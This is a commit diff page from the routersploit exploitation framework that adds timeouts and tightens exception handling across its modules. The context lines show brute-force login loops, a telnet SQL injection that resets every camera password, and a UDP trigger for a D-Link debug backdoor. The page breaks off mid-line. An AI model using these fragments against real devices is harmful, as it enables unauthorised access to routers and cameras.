Skip to content
Projects
Groups
Snippets
Help
This project
Loading...
Sign in / Register
Toggle navigation
R
routersploit
Overview
Overview
Details
Activity
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
czos-dpend
routersploit
Commits
42263a70
Commit
42263a70
authored
7 years ago
by
Marcin Bury
Committed by
GitHub
7 years ago
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
Adding timeouts (#334)
* Adding timeouts * Adding exceptions * Fixing E741
parent
bbbf7911
Hide whitespace changes
Inline
Side-by-side
Showing
34 changed files
with
102 additions
and
94 deletions
+102
-94
interpreter.py
routersploit/interpreter.py
+1
-1
ftp_bruteforce.py
routersploit/modules/creds/ftp_bruteforce.py
+2
-2
ftp_default.py
routersploit/modules/creds/ftp_default.py
+3
-3
http_form_bruteforce.py
routersploit/modules/creds/http_form_bruteforce.py
+8
-8
http_form_default.py
routersploit/modules/creds/http_form_default.py
+8
-8
ssh_bruteforce.py
routersploit/modules/creds/ssh_bruteforce.py
+1
-1
ssh_default.py
routersploit/modules/creds/ssh_default.py
+1
-1
telnet_bruteforce.py
routersploit/modules/creds/telnet_bruteforce.py
+3
-3
telnet_default.py
routersploit/modules/creds/telnet_default.py
+3
-3
gxv3611hd_ip_camera_rce.py
...s/exploits/cameras/grandstream/gxv3611hd_ip_camera_rce.py
+3
-3
netwave_IP_camera.py
...ploit/modules/exploits/cameras/multi/netwave_IP_camera.py
+1
-1
5200w_rce.py
routersploit/modules/exploits/routers/billion/5200w_rce.py
+2
-2
7700nr4_password_disclosure.py
...s/exploits/routers/billion/7700nr4_password_disclosure.py
+1
-1
catalyst_2960_rocem.py
...oit/modules/exploits/routers/cisco/catalyst_2960_rocem.py
+5
-3
firepower_management60_rce.py
...ules/exploits/routers/cisco/firepower_management60_rce.py
+3
-3
ucm_info_disclosure.py
...oit/modules/exploits/routers/cisco/ucm_info_disclosure.py
+2
-2
ct_5361t_password_disclosure.py
...exploits/routers/comtrend/ct_5361t_password_disclosure.py
+1
-1
dir_300_645_815_upnp_rce.py
...odules/exploits/routers/dlink/dir_300_645_815_upnp_rce.py
+1
-1
dir_815_850l_rce.py
...sploit/modules/exploits/routers/dlink/dir_815_850l_rce.py
+2
-0
dwr_932b_backdoor.py
...ploit/modules/exploits/routers/dlink/dwr_932b_backdoor.py
+4
-4
fortigate_os_backdoor.py
...odules/exploits/routers/fortinet/fortigate_os_backdoor.py
+6
-6
hg520_info_dislosure.py
...t/modules/exploits/routers/huawei/hg520_info_dislosure.py
+2
-2
screenos_backdoor.py
...oit/modules/exploits/routers/juniper/screenos_backdoor.py
+6
-6
heartbleed.py
routersploit/modules/exploits/routers/multi/heartbleed.py
+5
-1
ssh_auth_keys.py
routersploit/modules/exploits/routers/multi/ssh_auth_keys.py
+2
-2
udp_53413_rce.py
...rsploit/modules/exploits/routers/netcore/udp_53413_rce.py
+2
-2
tc7200_password_disclosure_v2.py
...oits/routers/technicolor/tc7200_password_disclosure_v2.py
+2
-2
tg784_authbypass.py
.../modules/exploits/routers/technicolor/tg784_authbypass.py
+2
-2
wdr842nd_wdr842n_configure_disclosure.py
...s/routers/tplink/wdr842nd_wdr842n_configure_disclosure.py
+4
-4
f609_config_disclosure.py
...it/modules/exploits/routers/zte/f609_config_disclosure.py
+4
-4
f660_config_disclosure.py
...it/modules/exploits/routers/zte/f660_config_disclosure.py
+4
-4
f6xx_default_root.py
...rsploit/modules/exploits/routers/zte/f6xx_default_root.py
+4
-4
zxv10_rce.py
routersploit/modules/exploits/routers/zte/zxv10_rce.py
+3
-3
shell.py
routersploit/shell.py
+1
-1
No files found.
routersploit/interpreter.py
View file @
42263a70
...
@@ -322,7 +322,7 @@ class RoutersploitInterpreter(BaseInterpreter):
...
@@ -322,7 +322,7 @@ class RoutersploitInterpreter(BaseInterpreter):
except
KeyboardInterrupt
:
except
KeyboardInterrupt
:
utils
.
print_info
()
utils
.
print_info
()
utils
.
print_error
(
"Operation cancelled by user"
)
utils
.
print_error
(
"Operation cancelled by user"
)
except
:
except
Exception
:
utils
.
print_error
(
traceback
.
format_exc
(
sys
.
exc_info
()))
utils
.
print_error
(
traceback
.
format_exc
(
sys
.
exc_info
()))
def
command_exploit
(
self
,
*
args
,
**
kwargs
):
def
command_exploit
(
self
,
*
args
,
**
kwargs
):
...
...
This diff is collapsed.
Click to expand it.
routersploit/modules/creds/ftp_bruteforce.py
View file @
42263a70
...
@@ -60,7 +60,7 @@ class Exploit(exploits.Exploit):
...
@@ -60,7 +60,7 @@ class Exploit(exploits.Exploit):
print_error
(
"Connection error:
%
s:
%
s"
%
(
self
.
target
,
str
(
self
.
port
)))
print_error
(
"Connection error:
%
s:
%
s"
%
(
self
.
target
,
str
(
self
.
port
)))
ftp
.
close
()
ftp
.
close
()
return
return
except
:
except
Exception
:
pass
pass
ftp
.
close
()
ftp
.
close
()
...
@@ -121,7 +121,7 @@ class Exploit(exploits.Exploit):
...
@@ -121,7 +121,7 @@ class Exploit(exploits.Exploit):
print_success
(
"Target: {}:{} {}: Authentication succeed - Username: '{}' Password: '{}'"
.
format
(
self
.
target
,
self
.
port
,
name
,
user
,
password
),
verbose
=
module_verbosity
)
print_success
(
"Target: {}:{} {}: Authentication succeed - Username: '{}' Password: '{}'"
.
format
(
self
.
target
,
self
.
port
,
name
,
user
,
password
),
verbose
=
module_verbosity
)
self
.
credentials
.
append
((
self
.
target
,
self
.
port
,
user
,
password
))
self
.
credentials
.
append
((
self
.
target
,
self
.
port
,
user
,
password
))
except
:
except
Exception
:
print_error
(
"Target: {}:{} {}: Authentication Failed - Username: '{}' Password: '{}'"
.
format
(
self
.
target
,
self
.
port
,
name
,
user
,
password
),
verbose
=
module_verbosity
)
print_error
(
"Target: {}:{} {}: Authentication Failed - Username: '{}' Password: '{}'"
.
format
(
self
.
target
,
self
.
port
,
name
,
user
,
password
),
verbose
=
module_verbosity
)
ftp
.
close
()
ftp
.
close
()
...
...
This diff is collapsed.
Click to expand it.
routersploit/modules/creds/ftp_default.py
View file @
42263a70
...
@@ -58,7 +58,7 @@ class Exploit(exploits.Exploit):
...
@@ -58,7 +58,7 @@ class Exploit(exploits.Exploit):
print_error
(
"Connection error:
%
s:
%
s"
%
(
self
.
target
,
str
(
self
.
port
)))
print_error
(
"Connection error:
%
s:
%
s"
%
(
self
.
target
,
str
(
self
.
port
)))
ftp
.
close
()
ftp
.
close
()
return
return
except
:
except
Exception
:
pass
pass
ftp
.
close
()
ftp
.
close
()
...
@@ -97,7 +97,7 @@ class Exploit(exploits.Exploit):
...
@@ -97,7 +97,7 @@ class Exploit(exploits.Exploit):
try
:
try
:
ftp
.
connect
(
self
.
target
,
port
=
int
(
self
.
port
),
timeout
=
10
)
ftp
.
connect
(
self
.
target
,
port
=
int
(
self
.
port
),
timeout
=
10
)
break
break
except
:
except
Exception
:
print_error
(
"{} Connection problem. Retrying..."
.
format
(
name
),
verbose
=
module_verbosity
)
print_error
(
"{} Connection problem. Retrying..."
.
format
(
name
),
verbose
=
module_verbosity
)
retries
+=
1
retries
+=
1
...
@@ -113,7 +113,7 @@ class Exploit(exploits.Exploit):
...
@@ -113,7 +113,7 @@ class Exploit(exploits.Exploit):
print_success
(
"Target: {}:{} {}: Authentication Succeed - Username: '{}' Password: '{}'"
.
format
(
self
.
target
,
self
.
port
,
name
,
user
,
password
),
verbose
=
module_verbosity
)
print_success
(
"Target: {}:{} {}: Authentication Succeed - Username: '{}' Password: '{}'"
.
format
(
self
.
target
,
self
.
port
,
name
,
user
,
password
),
verbose
=
module_verbosity
)
self
.
credentials
.
append
((
self
.
target
,
self
.
port
,
user
,
password
))
self
.
credentials
.
append
((
self
.
target
,
self
.
port
,
user
,
password
))
except
:
except
Exception
:
print_error
(
"Target: {}:{} {}: Authentication Failed - Username: '{}' Password: '{}'"
.
format
(
self
.
target
,
self
.
port
,
name
,
user
,
password
),
verbose
=
module_verbosity
)
print_error
(
"Target: {}:{} {}: Authentication Failed - Username: '{}' Password: '{}'"
.
format
(
self
.
target
,
self
.
port
,
name
,
user
,
password
),
verbose
=
module_verbosity
)
ftp
.
close
()
ftp
.
close
()
...
...
This diff is collapsed.
Click to expand it.
routersploit/modules/creds/http_form_bruteforce.py
View file @
42263a70
...
@@ -125,15 +125,15 @@ class Exploit(exploits.Exploit):
...
@@ -125,15 +125,15 @@ class Exploit(exploits.Exploit):
postdata
=
self
.
data
.
replace
(
"{{USER}}"
,
user
)
.
replace
(
"{{PASS}}"
,
password
)
postdata
=
self
.
data
.
replace
(
"{{USER}}"
,
user
)
.
replace
(
"{{PASS}}"
,
password
)
r
=
requests
.
post
(
url
,
headers
=
headers
,
data
=
postdata
,
verify
=
False
)
r
=
requests
.
post
(
url
,
headers
=
headers
,
data
=
postdata
,
verify
=
False
)
l
=
len
(
r
.
text
)
l
ength
=
len
(
r
.
text
)
if
i
==
0
:
if
i
==
0
:
self
.
invalid
=
{
"min"
:
l
,
"max"
:
l
}
self
.
invalid
=
{
"min"
:
l
ength
,
"max"
:
length
}
if
l
<
self
.
invalid
[
"min"
]:
if
l
ength
<
self
.
invalid
[
"min"
]:
self
.
invalid
[
"min"
]
=
l
self
.
invalid
[
"min"
]
=
l
ength
elif
l
>
self
.
invalid
[
"max"
]:
elif
l
ength
>
self
.
invalid
[
"max"
]:
self
.
invalid
[
"max"
]
=
l
self
.
invalid
[
"max"
]
=
l
ength
def
detect_form
(
self
):
def
detect_form
(
self
):
url
=
sanitize_url
(
"{}:{}{}"
.
format
(
self
.
target
,
self
.
port
,
self
.
get_form_path
()))
url
=
sanitize_url
(
"{}:{}{}"
.
format
(
self
.
target
,
self
.
port
,
self
.
get_form_path
()))
...
@@ -202,9 +202,9 @@ class Exploit(exploits.Exploit):
...
@@ -202,9 +202,9 @@ class Exploit(exploits.Exploit):
postdata
=
self
.
data
.
replace
(
"{{USER}}"
,
user
)
.
replace
(
"{{PASS}}"
,
password
)
postdata
=
self
.
data
.
replace
(
"{{USER}}"
,
user
)
.
replace
(
"{{PASS}}"
,
password
)
r
=
requests
.
post
(
url
,
headers
=
headers
,
data
=
postdata
,
verify
=
False
)
r
=
requests
.
post
(
url
,
headers
=
headers
,
data
=
postdata
,
verify
=
False
)
l
=
len
(
r
.
text
)
l
ength
=
len
(
r
.
text
)
if
l
<
self
.
invalid
[
"min"
]
or
l
>
self
.
invalid
[
"max"
]:
if
l
ength
<
self
.
invalid
[
"min"
]
or
length
>
self
.
invalid
[
"max"
]:
if
boolify
(
self
.
stop_on_success
):
if
boolify
(
self
.
stop_on_success
):
running
.
clear
()
running
.
clear
()
...
...
This diff is collapsed.
Click to expand it.
routersploit/modules/creds/http_form_default.py
View file @
42263a70
...
@@ -119,15 +119,15 @@ class Exploit(exploits.Exploit):
...
@@ -119,15 +119,15 @@ class Exploit(exploits.Exploit):
postdata
=
self
.
data
.
replace
(
"{{USER}}"
,
user
)
.
replace
(
"{{PASS}}"
,
password
)
postdata
=
self
.
data
.
replace
(
"{{USER}}"
,
user
)
.
replace
(
"{{PASS}}"
,
password
)
r
=
requests
.
post
(
url
,
headers
=
headers
,
data
=
postdata
,
verify
=
False
)
r
=
requests
.
post
(
url
,
headers
=
headers
,
data
=
postdata
,
verify
=
False
)
l
=
len
(
r
.
text
)
l
ength
=
len
(
r
.
text
)
if
i
==
0
:
if
i
==
0
:
self
.
invalid
=
{
"min"
:
l
,
"max"
:
l
}
self
.
invalid
=
{
"min"
:
l
ength
,
"max"
:
length
}
if
l
<
self
.
invalid
[
"min"
]:
if
l
ength
<
self
.
invalid
[
"min"
]:
self
.
invalid
[
"min"
]
=
l
self
.
invalid
[
"min"
]
=
l
ength
elif
l
>
self
.
invalid
[
"max"
]:
elif
l
ength
>
self
.
invalid
[
"max"
]:
self
.
invalid
[
"max"
]
=
l
self
.
invalid
[
"max"
]
=
l
ength
def
detect_form
(
self
):
def
detect_form
(
self
):
url
=
sanitize_url
(
"{}:{}{}"
.
format
(
self
.
target
,
self
.
port
,
self
.
get_form_path
()))
url
=
sanitize_url
(
"{}:{}{}"
.
format
(
self
.
target
,
self
.
port
,
self
.
get_form_path
()))
...
@@ -196,9 +196,9 @@ class Exploit(exploits.Exploit):
...
@@ -196,9 +196,9 @@ class Exploit(exploits.Exploit):
postdata
=
self
.
data
.
replace
(
"{{USER}}"
,
user
)
.
replace
(
"{{PASS}}"
,
password
)
postdata
=
self
.
data
.
replace
(
"{{USER}}"
,
user
)
.
replace
(
"{{PASS}}"
,
password
)
r
=
requests
.
post
(
url
,
headers
=
headers
,
data
=
postdata
,
verify
=
False
)
r
=
requests
.
post
(
url
,
headers
=
headers
,
data
=
postdata
,
verify
=
False
)
l
=
len
(
r
.
text
)
l
ength
=
len
(
r
.
text
)
if
l
<
self
.
invalid
[
"min"
]
or
l
>
self
.
invalid
[
"max"
]:
if
l
ength
<
self
.
invalid
[
"min"
]
or
length
>
self
.
invalid
[
"max"
]:
if
boolify
(
self
.
stop_on_success
):
if
boolify
(
self
.
stop_on_success
):
running
.
clear
()
running
.
clear
()
...
...
This diff is collapsed.
Click to expand it.
routersploit/modules/creds/ssh_bruteforce.py
View file @
42263a70
...
@@ -61,7 +61,7 @@ class Exploit(exploits.Exploit):
...
@@ -61,7 +61,7 @@ class Exploit(exploits.Exploit):
print_error
(
"Connection error:
%
s:
%
s"
%
(
self
.
target
,
str
(
self
.
port
)))
print_error
(
"Connection error:
%
s:
%
s"
%
(
self
.
target
,
str
(
self
.
port
)))
ssh
.
close
()
ssh
.
close
()
return
return
except
:
except
Exception
:
pass
pass
ssh
.
close
()
ssh
.
close
()
...
...
This diff is collapsed.
Click to expand it.
routersploit/modules/creds/ssh_default.py
View file @
42263a70
...
@@ -58,7 +58,7 @@ class Exploit(exploits.Exploit):
...
@@ -58,7 +58,7 @@ class Exploit(exploits.Exploit):
print_error
(
"Connection error:
%
s:
%
s"
%
(
self
.
target
,
str
(
self
.
port
)))
print_error
(
"Connection error:
%
s:
%
s"
%
(
self
.
target
,
str
(
self
.
port
)))
ssh
.
close
()
ssh
.
close
()
return
return
except
:
except
Exception
:
pass
pass
ssh
.
close
()
ssh
.
close
()
...
...
This diff is collapsed.
Click to expand it.
routersploit/modules/creds/telnet_bruteforce.py
View file @
42263a70
...
@@ -53,10 +53,10 @@ class Exploit(exploits.Exploit):
...
@@ -53,10 +53,10 @@ class Exploit(exploits.Exploit):
@multi
@multi
def
attack
(
self
):
def
attack
(
self
):
try
:
try
:
tn
=
telnetlib
.
Telnet
(
self
.
target
,
self
.
port
)
tn
=
telnetlib
.
Telnet
(
self
.
target
,
self
.
port
,
timeout
=
10
)
tn
.
expect
([
"login: "
,
"Login: "
],
5
)
tn
.
expect
([
"login: "
,
"Login: "
],
5
)
tn
.
close
()
tn
.
close
()
except
:
except
Exception
:
print_error
(
"Connection error {}:{}"
.
format
(
self
.
target
,
self
.
port
))
print_error
(
"Connection error {}:{}"
.
format
(
self
.
target
,
self
.
port
))
return
return
...
@@ -97,7 +97,7 @@ class Exploit(exploits.Exploit):
...
@@ -97,7 +97,7 @@ class Exploit(exploits.Exploit):
retries
=
0
retries
=
0
while
retries
<
3
:
while
retries
<
3
:
try
:
try
:
tn
=
telnetlib
.
Telnet
(
self
.
target
,
self
.
port
)
tn
=
telnetlib
.
Telnet
(
self
.
target
,
self
.
port
,
timeout
=
10
)
tn
.
expect
([
"Login: "
,
"login: "
],
5
)
tn
.
expect
([
"Login: "
,
"login: "
],
5
)
tn
.
write
(
user
+
"
\r\n
"
)
tn
.
write
(
user
+
"
\r\n
"
)
tn
.
expect
([
"Password: "
,
"password"
],
5
)
tn
.
expect
([
"Password: "
,
"password"
],
5
)
...
...
This diff is collapsed.
Click to expand it.
routersploit/modules/creds/telnet_default.py
View file @
42263a70
...
@@ -51,10 +51,10 @@ class Exploit(exploits.Exploit):
...
@@ -51,10 +51,10 @@ class Exploit(exploits.Exploit):
@multi
@multi
def
attack
(
self
):
def
attack
(
self
):
try
:
try
:
tn
=
telnetlib
.
Telnet
(
self
.
target
,
self
.
port
)
tn
=
telnetlib
.
Telnet
(
self
.
target
,
self
.
port
,
timeout
=
10
)
tn
.
expect
([
"login: "
,
"Login: "
],
5
)
tn
.
expect
([
"login: "
,
"Login: "
],
5
)
tn
.
close
()
tn
.
close
()
except
:
except
Exception
:
print_error
(
"Connection error {}:{}"
.
format
(
self
.
target
,
self
.
port
))
print_error
(
"Connection error {}:{}"
.
format
(
self
.
target
,
self
.
port
))
return
return
...
@@ -89,7 +89,7 @@ class Exploit(exploits.Exploit):
...
@@ -89,7 +89,7 @@ class Exploit(exploits.Exploit):
retries
=
0
retries
=
0
while
retries
<
3
:
while
retries
<
3
:
try
:
try
:
tn
=
telnetlib
.
Telnet
(
self
.
target
,
self
.
port
)
tn
=
telnetlib
.
Telnet
(
self
.
target
,
self
.
port
,
timeout
=
10
)
tn
.
expect
([
"Login: "
,
"login: "
],
5
)
tn
.
expect
([
"Login: "
,
"login: "
],
5
)
tn
.
write
(
user
+
"
\r\n
"
)
tn
.
write
(
user
+
"
\r\n
"
)
tn
.
expect
([
"Password: "
,
"password"
],
5
)
tn
.
expect
([
"Password: "
,
"password"
],
5
)
...
...
This diff is collapsed.
Click to expand it.
routersploit/modules/exploits/cameras/grandstream/gxv3611hd_ip_camera_rce.py
View file @
42263a70
...
@@ -35,7 +35,7 @@ class Exploit(exploits.Exploit):
...
@@ -35,7 +35,7 @@ class Exploit(exploits.Exploit):
print_success
(
"Target appears to be vulnerable..."
)
print_success
(
"Target appears to be vulnerable..."
)
try
:
try
:
conn
=
telnetlib
.
Telnet
(
self
.
target
,
self
.
telnet_port
)
conn
=
telnetlib
.
Telnet
(
self
.
target
,
self
.
telnet_port
,
timeout
=
10
)
conn
.
read_until
(
"Username: "
)
conn
.
read_until
(
"Username: "
)
conn
.
write
(
"';update user set password='a';--
\r\n
"
)
# This changes all the passwords to 'a'
conn
.
write
(
"';update user set password='a';--
\r\n
"
)
# This changes all the passwords to 'a'
conn
.
read_until
(
"Password: "
)
conn
.
read_until
(
"Password: "
)
...
@@ -55,7 +55,7 @@ class Exploit(exploits.Exploit):
...
@@ -55,7 +55,7 @@ class Exploit(exploits.Exploit):
print_error
(
"Exploit failed. Could not log in."
)
print_error
(
"Exploit failed. Could not log in."
)
try
:
try
:
conn
=
telnetlib
.
Telnet
(
self
.
target
,
20000
)
conn
=
telnetlib
.
Telnet
(
self
.
target
,
20000
,
timeout
=
10
)
conn
.
read_until
(
"login: "
)
conn
.
read_until
(
"login: "
)
conn
.
write
(
"root
\r\n
"
)
conn
.
write
(
"root
\r\n
"
)
conn
.
read_until
(
"Password: "
)
conn
.
read_until
(
"Password: "
)
...
@@ -71,7 +71,7 @@ class Exploit(exploits.Exploit):
...
@@ -71,7 +71,7 @@ class Exploit(exploits.Exploit):
@mute
@mute
def
check
(
self
):
def
check
(
self
):
try
:
try
:
conn
=
telnetlib
.
Telnet
(
self
.
target
,
self
.
telnet_port
)
conn
=
telnetlib
.
Telnet
(
self
.
target
,
self
.
telnet_port
,
timeout
=
10
)
return
'Grandstream'
in
conn
.
read_until
(
"login:"
)
return
'Grandstream'
in
conn
.
read_until
(
"login:"
)
except
Exception
:
except
Exception
:
return
False
return
False
This diff is collapsed.
Click to expand it.
routersploit/modules/exploits/cameras/multi/netwave_IP_camera.py
View file @
42263a70
...
@@ -63,7 +63,7 @@ class Exploit(exploits.Exploit):
...
@@ -63,7 +63,7 @@ class Exploit(exploits.Exploit):
for
chunk
in
response
.
iter_content
(
chunk_size
=
100
):
for
chunk
in
response
.
iter_content
(
chunk_size
=
100
):
if
"admin"
in
chunk
:
if
"admin"
in
chunk
:
print_success
(
chunk
)
print_success
(
chunk
)
except
:
except
Exception
:
print_error
(
"Exploit failed - could not read /proc/kcore"
)
print_error
(
"Exploit failed - could not read /proc/kcore"
)
@mute
@mute
...
...
This diff is collapsed.
Click to expand it.
routersploit/modules/exploits/routers/billion/5200w_rce.py
View file @
42263a70
...
@@ -134,10 +134,10 @@ class Exploit(exploits.Exploit):
...
@@ -134,10 +134,10 @@ class Exploit(exploits.Exploit):
print_status
(
"Trying to connect to the telnet server..."
)
print_status
(
"Trying to connect to the telnet server..."
)
try
:
try
:
tn
=
telnetlib
.
Telnet
(
target
,
self
.
telnet_port
)
tn
=
telnetlib
.
Telnet
(
target
,
self
.
telnet_port
,
timeout
=
10
)
tn
.
interact
()
tn
.
interact
()
tn
.
close
()
tn
.
close
()
except
:
except
Exception
:
print_error
(
"Exploit failed - Telnet connection error: {}:{}"
.
format
(
target
,
self
.
telnet_port
))
print_error
(
"Exploit failed - Telnet connection error: {}:{}"
.
format
(
target
,
self
.
telnet_port
))
@mute
@mute
...
...
This diff is collapsed.
Click to expand it.
routersploit/modules/exploits/routers/billion/7700nr4_password_disclosure.py
View file @
42263a70
...
@@ -57,7 +57,7 @@ class Exploit(exploits.Exploit):
...
@@ -57,7 +57,7 @@ class Exploit(exploits.Exploit):
try
:
try
:
print_status
(
"Trying to base64 decode"
)
print_status
(
"Trying to base64 decode"
)
password
=
base64
.
b64decode
(
res
[
0
])
password
=
base64
.
b64decode
(
res
[
0
])
except
:
except
Exception
:
print_error
(
"Exploit failed - could not decode password"
)
print_error
(
"Exploit failed - could not decode password"
)
return
return
...
...
This diff is collapsed.
Click to expand it.
routersploit/modules/exploits/routers/cisco/catalyst_2960_rocem.py
View file @
42263a70
...
@@ -184,11 +184,13 @@ class Exploit(exploits.Exploit):
...
@@ -184,11 +184,13 @@ class Exploit(exploits.Exploit):
try
:
try
:
s
=
socket
.
socket
(
socket
.
AF_INET
,
socket
.
SOCK_STREAM
)
s
=
socket
.
socket
(
socket
.
AF_INET
,
socket
.
SOCK_STREAM
)
s
.
settimeout
(
10.0
)
s
.
connect
((
self
.
target
,
int
(
self
.
telnet_port
)))
s
.
connect
((
self
.
target
,
int
(
self
.
telnet_port
)))
print_status
(
"Connection OK"
)
print_status
(
"Connection OK"
)
print_status
(
"Received bytes from telnet service: {}"
.
format
(
repr
(
s
.
recv
(
1024
))))
print_status
(
"Received bytes from telnet service: {}"
.
format
(
repr
(
s
.
recv
(
1024
))))
except
:
except
Exception
:
print_error
(
"Connection failed"
)
print_error
(
"Connection failed"
)
return
return
...
@@ -209,9 +211,9 @@ class Exploit(exploits.Exploit):
...
@@ -209,9 +211,9 @@ class Exploit(exploits.Exploit):
if
self
.
action
==
'set'
:
if
self
.
action
==
'set'
:
print_status
(
"Connecting to Telnet service..."
)
print_status
(
"Connecting to Telnet service..."
)
try
:
try
:
t
=
telnetlib
.
Telnet
(
self
.
target
,
int
(
self
.
telnet_port
))
t
=
telnetlib
.
Telnet
(
self
.
target
,
int
(
self
.
telnet_port
)
,
timeout
=
10
)
t
.
interact
()
t
.
interact
()
except
:
except
Exception
:
print_error
(
"Exploit failed"
)
print_error
(
"Exploit failed"
)
else
:
else
:
print_status
(
"Check if Telnet authentication was set back"
)
print_status
(
"Check if Telnet authentication was set back"
)
...
...
This diff is collapsed.
Click to expand it.
routersploit/modules/exploits/routers/cisco/firepower_management60_rce.py
View file @
42263a70
...
@@ -85,7 +85,7 @@ class Exploit(exploits.Exploit):
...
@@ -85,7 +85,7 @@ class Exploit(exploits.Exploit):
ssh
.
connect
(
target
,
self
.
ssh_port
,
timeout
=
5
,
username
=
random_text
(
8
),
password
=
random_text
(
8
))
ssh
.
connect
(
target
,
self
.
ssh_port
,
timeout
=
5
,
username
=
random_text
(
8
),
password
=
random_text
(
8
))
except
paramiko
.
AuthenticationException
:
except
paramiko
.
AuthenticationException
:
return
True
# target is vulnerable
return
True
# target is vulnerable
except
:
except
Exception
:
pass
pass
return
False
# target is not vulnerable
return
False
# target is not vulnerable
...
@@ -127,7 +127,7 @@ class Exploit(exploits.Exploit):
...
@@ -127,7 +127,7 @@ class Exploit(exploits.Exploit):
try
:
try
:
http_request
(
method
=
"POST"
,
url
=
url
,
files
=
multipart_form_data
,
session
=
self
.
session
)
http_request
(
method
=
"POST"
,
url
=
url
,
files
=
multipart_form_data
,
session
=
self
.
session
)
except
:
except
Exception
:
pass
pass
return
return
...
@@ -157,7 +157,7 @@ class Exploit(exploits.Exploit):
...
@@ -157,7 +157,7 @@ class Exploit(exploits.Exploit):
target
=
self
.
target
.
replace
(
"http://"
,
""
)
.
replace
(
"https://"
,
""
)
target
=
self
.
target
.
replace
(
"http://"
,
""
)
.
replace
(
"https://"
,
""
)
try
:
try
:
ssh
.
connect
(
target
,
self
.
ssh_port
,
timeout
=
5
,
username
=
username
,
password
=
password
)
ssh
.
connect
(
target
,
self
.
ssh_port
,
timeout
=
5
,
username
=
username
,
password
=
password
)
except
:
except
Exception
:
ssh
.
close
()
ssh
.
close
()
else
:
else
:
print_success
(
"SSH - Successful authentication"
)
print_success
(
"SSH - Successful authentication"
)
...
...
This diff is collapsed.
Click to expand it.
routersploit/modules/exploits/routers/cisco/ucm_info_disclosure.py
View file @
42263a70
...
@@ -46,7 +46,7 @@ class Exploit(exploits.Exploit):
...
@@ -46,7 +46,7 @@ class Exploit(exploits.Exploit):
try
:
try
:
response
=
sock
.
recv
(
2048
)
response
=
sock
.
recv
(
2048
)
except
:
except
Exception
:
print_error
(
"Exploit failed - device seems to be not vulnerable"
)
print_error
(
"Exploit failed - device seems to be not vulnerable"
)
return
return
...
@@ -67,7 +67,7 @@ class Exploit(exploits.Exploit):
...
@@ -67,7 +67,7 @@ class Exploit(exploits.Exploit):
try
:
try
:
response
=
sock
.
recv
(
2048
)
response
=
sock
.
recv
(
2048
)
except
:
except
Exception
:
return
False
# target is not vulnerable
return
False
# target is not vulnerable
if
len
(
response
)
and
"UseUserCredential"
in
response
:
if
len
(
response
)
and
"UseUserCredential"
in
response
:
...
...
This diff is collapsed.
Click to expand it.
routersploit/modules/exploits/routers/comtrend/ct_5361t_password_disclosure.py
View file @
42263a70
...
@@ -84,7 +84,7 @@ class Exploit(exploits.Exploit):
...
@@ -84,7 +84,7 @@ class Exploit(exploits.Exploit):
if
len
(
res
):
if
len
(
res
):
try
:
try
:
b64decode
(
res
[
0
])
# checking if data is base64 encoded
b64decode
(
res
[
0
])
# checking if data is base64 encoded
except
:
except
Exception
:
return
False
# target is not vulnerable
return
False
# target is not vulnerable
else
:
else
:
return
False
# target is not vulnerable
return
False
# target is not vulnerable
...
...
This diff is collapsed.
Click to expand it.
routersploit/modules/exploits/routers/dlink/dir_300_645_815_upnp_rce.py
View file @
42263a70
...
@@ -78,7 +78,7 @@ class Exploit(exploits.Exploit):
...
@@ -78,7 +78,7 @@ class Exploit(exploits.Exploit):
sock
.
send
(
buf
)
sock
.
send
(
buf
)
response
=
sock
.
recv
(
65535
)
response
=
sock
.
recv
(
65535
)
sock
.
close
()
sock
.
close
()
except
:
except
Exception
:
return
False
# target is not vulnerable
return
False
# target is not vulnerable
if
"Linux, UPnP/1.0, DIR-"
in
response
:
if
"Linux, UPnP/1.0, DIR-"
in
response
:
...
...
This diff is collapsed.
Click to expand it.
routersploit/modules/exploits/routers/dlink/dir_815_850l_rce.py
View file @
42263a70
...
@@ -45,6 +45,8 @@ class Exploit(exploits.Exploit):
...
@@ -45,6 +45,8 @@ class Exploit(exploits.Exploit):
'MAN:"ssdp:discover"
\r\n\r\n
'
)
'MAN:"ssdp:discover"
\r\n\r\n
'
)
s
=
socket
.
socket
(
socket
.
AF_INET
,
socket
.
SOCK_DGRAM
)
s
=
socket
.
socket
(
socket
.
AF_INET
,
socket
.
SOCK_DGRAM
)
s
.
settimeout
(
20.0
)
s
.
connect
((
self
.
target
,
1900
))
s
.
connect
((
self
.
target
,
1900
))
s
.
send
(
buf
)
s
.
send
(
buf
)
s
.
close
()
s
.
close
()
...
...
This diff is collapsed.
Click to expand it.
routersploit/modules/exploits/routers/dlink/dwr_932b_backdoor.py
View file @
42263a70
...
@@ -44,7 +44,7 @@ class Exploit(exploits.Exploit):
...
@@ -44,7 +44,7 @@ class Exploit(exploits.Exploit):
try
:
try
:
sock
.
sendto
(
"HELODBG"
,
(
self
.
target
,
39889
))
sock
.
sendto
(
"HELODBG"
,
(
self
.
target
,
39889
))
response
=
sock
.
recv
(
1024
)
response
=
sock
.
recv
(
1024
)
except
:
except
Exception
:
pass
pass
sock
.
close
()
sock
.
close
()
...
@@ -54,9 +54,9 @@ class Exploit(exploits.Exploit):
...
@@ -54,9 +54,9 @@ class Exploit(exploits.Exploit):
print_status
(
"Trying to connect to the telnet service {}:{}"
.
format
(
self
.
target
,
self
.
telnet_port
))
print_status
(
"Trying to connect to the telnet service {}:{}"
.
format
(
self
.
target
,
self
.
telnet_port
))
try
:
try
:
tn
=
telnetlib
.
Telnet
(
self
.
target
,
self
.
telnet_port
)
tn
=
telnetlib
.
Telnet
(
self
.
target
,
self
.
telnet_port
,
timeout
=
10
)
tn
.
interact
()
tn
.
interact
()
except
:
except
Exception
:
print_error
(
"Exploit failed - could not connect to the telnet service"
)
print_error
(
"Exploit failed - could not connect to the telnet service"
)
else
:
else
:
print_error
(
"Exploit failed - target seems to be not vulnerable"
)
print_error
(
"Exploit failed - target seems to be not vulnerable"
)
...
@@ -73,7 +73,7 @@ class Exploit(exploits.Exploit):
...
@@ -73,7 +73,7 @@ class Exploit(exploits.Exploit):
if
"Hello"
in
response
:
if
"Hello"
in
response
:
sock
.
sendto
(
"BYEDBG"
,
(
self
.
target
,
39889
))
sock
